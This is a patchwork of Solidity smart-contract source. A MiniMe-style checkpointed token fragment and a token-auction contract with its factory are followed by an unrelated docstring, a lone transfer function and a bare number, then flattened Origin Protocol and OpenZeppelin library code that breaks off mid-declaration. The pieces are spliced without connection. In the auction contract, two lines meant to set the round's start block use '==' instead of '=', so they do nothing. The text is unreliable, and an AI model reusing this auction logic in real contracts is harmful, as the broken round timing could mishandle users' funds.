the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /// @dev This function makes it easy to read the `allowed[]` map /// @param _owner The address of the account that owns the token /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens of _owner that _spender is allowed /// to spend function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(ApproveAndCallFallBack _spender, uint256 _amount, bytes memory _extraData) public returns (bool success) { require(approve(address(_spender), _amount)); _spender.receiveApproval( msg.sender, _amount, address(this), _extraData ); return true; } /// @dev This function makes it easy to get the total number of tokens /// @return The total number of tokens function totalSupply() public view returns (uint) { return totalSupplyAt(block.number); } //////////////// // Query balance and totalSupply in History //////////////// /// @dev Queries the balance of `_owner` at a specific `_blockNumber` /// @param _owner The address from which the balance will be retrieved /// @param _blockNumber The block number when the balance is queried /// @return The balance at `_blockNumber` function balanceOfAt(address _owner, uint _blockNumber) public view returns (uint) { // These next few lines are used when the balance of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.balanceOfAt` be queried at the // genesis block for that token as this contains initial balance of // this token if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != address(0)) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { // Has no parent return 0; } // This will return the expected balance during normal situations } else { return getValueAt(balances[_owner], _blockNumber); } } /// @notice Total amount of tokens at a specific `_blockNumber`. /// @param _blockNumber The block number when the totalSupply is queried /// @return The total amount of tokens at `_blockNumber` function totalSupplyAt(uint _blockNumber) public view returns(uint) { // These next few lines are used when the totalSupply of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.totalSupplyAt` be queried at the // genesis block for this token as that contains totalSupply of this // token at this block number. if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != address(0)) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } // This will return the expected totalSupply during normal situations } else { return getValueAt(totalSupplyHistory, _blockNumber); } } //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function _generateTokens(address _owner, uint _amount) internal returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); emit Transfer(address(0), _owner, _amount); return true; } /// @notice Burns `_amount` tokens from `_owner` /// @param _owner The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly function _destroyTokens(address _owner, uint _amount) internal returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); emit Transfer(_owner, address(0), _amount); return true; } //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function _enableTransfers(bool _transfersEnabled) internal { transfersEnabled = _transfersEnabled; } //////////////// // Internal helper functions to query and set a value in a snapshot array //////////////// /// @dev `getValueAt` retrieves the number of tokens at a given block number /// @param checkpoints The history of values being queried /// @param _block The block number to retrieve the value at /// @return The number of tokens being queried function getValueAt(Checkpoint[] storage checkpoints, uint _block) internal view returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; }function getCheckPointAt(Checkpoint[] storage checkpoints, uint _block) internal view returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return min; } /// @dev `updateValueAtNow` used to update the `balances` map and the /// `totalSupplyHistory` /// @param checkpoints The history of data being updated /// @param _value The new number of tokens function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1]; oldCheckPoint.value = uint128(_value); } } function onTransferDone(address _from, address _to, uint256 _amount) internal { for(uint i = 0; i < transferListeners.length; i++){ TransferEventCallBack t = TransferEventCallBack(transferListeners[i]); t.onTransfer(_from, _to, _amount); } } function _addTransferListener(address _addr) internal { transferListeners.push(_addr); emit NewTransferListener(_addr); } function _removeTransferListener(address _addr) internal{ transferListeners.remove(_addr); emit RemoveTransferListener(_addr); } /// @dev Helper function to return a min betwen the two uints function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } //function () external payable { //require(false, "cannot transfer ether to this contract"); //} } // File: contracts/utils/TokenClaimer.sol pragma solidity >=0.4.21 <0.6.0; contract TokenClaimer{ event ClaimedTokens(address indexed _token, address indexed _to, uint _amount); /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function _claimStdTokens(address _token, address payable to) internal { if (_token == address(0x0)) { to.transfer(address(this).balance); return; } uint balance = IERC20(_token).balanceOf(address(this)); (bool status,) = _token.call(abi.encodeWithSignature("transfer(address,uint256)", to, balance)); require(status, "call failed"); emit ClaimedTokens(_token, to, balance); } } // File: contracts/plugins/TokenAuction.sol pragma solidity >=0.4.21 <0.6.0; contract TokenAuction is Ownable, TokenClaimer{ using SafeERC20 for IERC20; using SafeMath for uint256; address public bank; address public target_token; address public recv_token; address public yield_pool; uint256 public start_price; uint256 public last_duration_in_blocknum; uint256 public minimal_bumpup; uint256 public minimal_amount; uint256 public ratio_base; bool public paused; struct round_info{ uint256 last_auction_block; uint256 highest_price; uint256 highest_amount; address payable highest_sender; bool settled; } round_info[] public all_rounds; constructor(address _bank, address _target_token, address _recv_token, address _yield_pool, uint256 _start_price, uint256 _last_duration_in_blocknum, uint256 _minimal_bumpup, uint256 _minimal_amount) public{ bank = _bank; target_token = _target_token; recv_token = _recv_token; start_price = _start_price; last_duration_in_blocknum = _last_duration_in_blocknum; minimal_bumpup = _minimal_bumpup; minimal_amount = _minimal_amount; yield_pool = _yield_pool; ratio_base = 10000; paused = false; } event PlaceAuction(address newAuctioner, uint256 newAmount, uint256 newPrice, address oldAuctioner, uint256 oldAmount, uint256 oldPrice); function auction(uint256 amount, uint256 price) public returns(bool){ require(!paused, "auction already paused"); require(amount >= minimal_amount, "less than minimal amount"); require(price >= start_price, "less than start price"); if(all_rounds.length == 0){ round_info memory ri; ri.last_auction_block == block.number; all_rounds.push(ri); } round_info storage ri = all_rounds[all_rounds.length - 1]; if(block.number > ri.last_auction_block.safeAdd(last_duration_in_blocknum)){ if(!ri.settled){ _end_current_auction(); } round_info memory ti; ti.last_auction_block == block.number; all_rounds.push(ti); ri = all_rounds[all_rounds.length - 1]; } //require(price >= ri.highest_price.safeMul(ratio_base + minimal_bumpup).safeDiv(ratio_base), "price bump up too small"); uint256 t = amount.safeMul(price).safeDiv(uint256(10)**ERC20Base(target_token).decimals()); uint256 h = ri.highest_amount.safeMul(ri.highest_price).safeDiv(uint256(10)**ERC20Base(target_token).decimals()); require(t >= h.safeMul(ratio_base + minimal_bumpup).safeDiv(ratio_base), "total payment bump up too small"); require(amount <= IERC20(target_token).balanceOf(bank), "bank doesn't have enough token"); if(ri.highest_sender != address(0x0)){ IERC20(recv_token).safeTransfer(ri.highest_sender, h); } emit PlaceAuction(msg.sender, amount, price, ri.highest_sender, ri.highest_amount, ri.highest_price); IERC20(recv_token).safeTransferFrom(msg.sender, address(this), t); ri.last_auction_block = block.number; ri.highest_price = price; ri.highest_amount = amount; ri.highest_sender = msg.sender; ri.settled = false; return true; } event AuctionDone(address bidder, uint256 price, uint256 amount); function _end_current_auction() internal{ round_info storage ri = all_rounds[all_rounds.length - 1]; if(ri.settled) return; //require(ri.settled == false, "already settled"); ri.settled = true; TokenBankInterface(bank).issue(target_token, ri.highest_sender, ri.highest_amount); IERC20(recv_token).safeTransfer(yield_pool, ri.highest_price.safeMul(ri.highest_amount).safeDiv(uint256(10)**ERC20Base(target_token).decimals())); emit AuctionDone(ri.highest_sender, ri.highest_price, ri.highest_amount); } function end_current_auction() public { if(all_rounds.length == 0){ return ; } round_info storage ri = all_rounds[all_rounds.length - 1]; if(ri.settled){ return ; } require(block.number > ri.last_auction_block.safeAdd(last_duration_in_blocknum), "not ready to end"); _end_current_auction(); } function pause_auction() public onlyOwner{ _end_current_auction(); paused = true; } function resume_auction() public onlyOwner{ paused = false; } function claimStdTokens(address _token, address payable to) public onlyOwner{ _claimStdTokens(_token, to); } event SetStartPrice(uint256 start_price); function set_start_price(uint256 _start_price) public onlyOwner{ start_price = _start_price; emit SetStartPrice(start_price); } event SetMinimalAmount(uint256 minimal_amount); function set_minimal_amount(uint256 _minimal_amount) public onlyOwner{ minimal_amount = _minimal_amount; emit SetMinimalAmount(minimal_amount); } event SetMinimalBumpup(uint256 minimal_bumpup); function set_minimal_bumpup(uint256 _minimal_bumpup) public onlyOwner{ minimal_bumpup = _minimal_bumpup; emit SetMinimalBumpup(minimal_bumpup); } event SetDuration(uint256 last_duration_in_blocknum); function set_duration(uint256 _last_duration_in_blocknum) public onlyOwner{ last_duration_in_blocknum = _last_duration_in_blocknum; emit SetDuration(last_duration_in_blocknum); } event ChangeYieldPool(address yield_pool); function change_yield_pool(address _yield_pool) public onlyOwner{ yield_pool = _yield_pool; emit ChangeYieldPool(yield_pool); } event ChangeBank(address bank); function change_bank(address _bank) public onlyOwner{ bank = _bank; emit ChangeBank(bank); } function get_current_auction_round() public view returns(uint256){ return all_rounds.length; } function get_current_auction_info() public view returns(uint256 last_auction_block, uint256 highest_price, uint256 highest_amount, address payable highest_sender){ return get_auction_info(get_current_auction_round() - 1); } function get_auction_info(uint256 index) public view returns(uint256 last_auction_block, uint256 highest_price, uint256 highest_amount, address payable highest_sender){ round_info storage ri = all_rounds[index]; last_auction_block = ri.last_auction_block; highest_price = ri.highest_price; highest_amount = ri.highest_amount; highest_sender = ri.highest_sender; } } contract TokenAuctionFactory{ event NewTokenAuction(address addr); function createTokenAuction(address bank, address target_token, address recv_token, address yield_pool, uint256 start_price, uint256 last_duration_in_blocknum, uint256 minimal_bumpup, uint256 minimal_amount) public returns(address){ TokenAuction newAuction = new TokenAuction(bank, target_token, recv_token, yield_pool, start_price, last_duration_in_blocknum, minimal_bumpup, minimal_amount); emit NewTokenAuction(address(newAuction)); newAuction.transferOwnership(msg.sender); return address(newAuction); } }
Send `_amount` tokens to `_to` from `msg.sender` _to The address of the recipient _amount The amount of tokens to be transferred return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); return doTransfer(msg.sender, _to, _amount); }
204,560
/* * Origin Protocol * https://originprotocol.com * * Released under the MIT license * https://github.com/OriginProtocol/origin-dollar * * Copyright 2020 Origin Protocol, Inc * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/strategies/ICompound.sol pragma solidity ^0.8.0; /** * @dev Compound C Token interface * Documentation: https://compound.finance/developers/ctokens */ interface ICERC20 { /** * @notice The mint function transfers an asset into the protocol, which begins accumulating * interest based on the current Supply Rate for the asset. The user receives a quantity of * cTokens equal to the underlying tokens supplied, divided by the current Exchange Rate. * @param mintAmount The amount of the asset to be supplied, in units of the underlying asset. * @return 0 on success, otherwise an Error codes */ function mint(uint256 mintAmount) external returns (uint256); /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise an error code. */ function redeem(uint256 redeemTokens) external returns (uint256); /** * @notice The redeem underlying function converts cTokens into a specified quantity of the underlying * asset, and returns them to the user. The amount of cTokens redeemed is equal to the quantity of * underlying tokens received, divided by the current Exchange Rate. The amount redeemed must be less * than the user's Account Liquidity and the market's available liquidity. * @param redeemAmount The amount of underlying to be redeemed. * @return 0 on success, otherwise an error code. */ function redeemUnderlying(uint256 redeemAmount) external returns (uint256); /** * @notice The user's underlying balance, representing their assets in the protocol, is equal to * the user's cToken balance multiplied by the Exchange Rate. * @param owner The account to get the underlying balance of. * @return The amount of underlying currently owned by the account. */ function balanceOfUnderlying(address owner) external returns (uint256); /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() external view returns (uint256); /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256); /** * @notice Get the supply rate per block for supplying the token to Compound. */ function supplyRatePerBlock() external view returns (uint256); /** * @notice Address of the Compound Comptroller. */ function comptroller() external view returns (address); } // File: contracts/interfaces/IComptroller.sol pragma solidity ^0.8.0; interface IComptroller { /** * @notice Claim all the comp accrued by holder in all markets * @param holder The address to claim COMP for */ function claimComp(address holder) external; } // File: @openzeppelin/contracts/utils/math/SafeMath.sol pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: contracts/utils/Initializable.sol pragma solidity ^0.8.0; abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require( initializing || !initialized, "Initializable: contract is already initialized" ); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } uint256[50] private ______gap; } // File: contracts/governance/Governable.sol pragma solidity ^0.8.0; /** * @title OUSD Governable Contract * @dev Copy of the openzeppelin Ownable.sol contract with nomenclature change * from owner to governor and renounce methods removed. Does not use * Context.sol like Ownable.sol does for simplification. * @author Origin Protocol Inc */ contract Governable { // Storage position of the owner and pendingOwner of the contract // keccak256("OUSD.governor"); bytes32 private constant governorPosition = 0x7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a; // keccak256("OUSD.pending.governor"); bytes32 private constant pendingGovernorPosition = 0x44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db; // keccak256("OUSD.reentry.status"); bytes32 private constant reentryStatusPosition = 0x53bf423e48ed90e97d02ab0ebab13b2a235a6bfbe9c321847d5c175333ac4535; // See OpenZeppelin ReentrancyGuard implementation uint256 constant _NOT_ENTERED = 1; uint256 